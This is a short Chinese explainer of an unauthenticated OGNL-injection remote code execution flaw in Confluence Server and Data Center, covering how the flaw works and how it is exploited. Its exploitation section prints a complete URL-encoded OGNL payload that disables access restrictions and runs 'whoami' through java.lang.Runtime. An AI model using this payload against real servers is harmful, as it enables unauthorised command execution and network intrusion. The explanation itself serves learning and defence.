### 讲讲 Confluence RCE

1. 漏洞原理

这个漏洞的本质是一个未授权的远程代码执行（RCE）漏洞。它存在于 Confluence 的管理控制台中，特别是在处理配置文件时

攻击者可以利用 Confluence 的某些配置页面（通常与数据源配置或诊断相关），向服务器发送一个特制的 HTTP 请求。这个请求中包含一个恶意的OGNL（Object-Graph Navigation Language）表达式

- OGNL 是一个强大的表达式语言，常用于 Java 应用中，可以用来在运行时操作 Java 对象
- 攻击者利用：攻击者利用了 Confluence 在处理某些未授权页面时，OGNL 表达式没有被正确沙盒化（sandboxed）或过滤的缺陷。这使得攻击者可以在不进行身份验证的情况下，直接传入 OGNL 表达式，并让服务器执行
- 执行恶意代码：当服务器解析并执行这个恶意的 OGNL 表达式时，攻击者就可以调用 `java.lang.Runtime` 等 Java 类，从而在服务器上执行任意的系统命令

这个漏洞的危害性极高，因为它完全不需要任何身份验证，攻击者可以直接在网络上扫描到存在漏洞的 Confluence 实例，然后利用它进行攻击

2. 漏洞利用方式

利用这个漏洞通常非常简单，因为攻击者只需要向特定的 URL 发送一个带有恶意 OGRL 表达式的 HTTP 请求即可

一个典型的利用过程如下：

1. 探测目标：攻击者首先会扫描互联网，寻找暴露在公网上的 Confluence Data Center 和 Server 实例

2. 发送恶意请求：攻击者向 Confluence 服务器的某个特定管理 URL 发送一个带有恶意 OGNL Payload 的 GET 或 POST 请求。例如，请求中可能包含如下代码：

       ?diagnostics=x&x=x'%2b#_memberAccess.allowPrivateAccess%3dtrue%2c#_memberAccess.allowProtectedAccess%3dtrue%2c#_memberAccess.allowPackageProtected%3dtrue%2c#_memberAccess.allowStaticMethodAccess%3dtrue%2c#cmd%3d'whoami'%2c#a%3d@java.lang.Runtime@getRuntime().exec(#cmd).getInputStream().readAllBytes()%2c#out%3dnew+java.lang.String(#a)%2c#_memberAccess.allowPrivateAccess%3dfalse%2c#_memberAccess.allowProtectedAccess%3dfalse%2c#_memberAccess.allowPackageProtected%3dfalse%2c#_memberAccess.allowStaticMethodAccess%3dfalse%2c#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter().print(#out)%2c#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter().flush()

   - OGNL 表达式解析：上面的表达式通过反射调用了 `java.lang.Runtime.exec()` 方法，并执行了 `whoami` 命令，最后将命令执行结果写入到 HTTP 响应中，返回给攻击者

3. 获取控制权：如果攻击成功，攻击者就可以在服务器上执行任意命令，例如下载恶意文件、创建新的用户、或者将服务器作为跳板攻击内网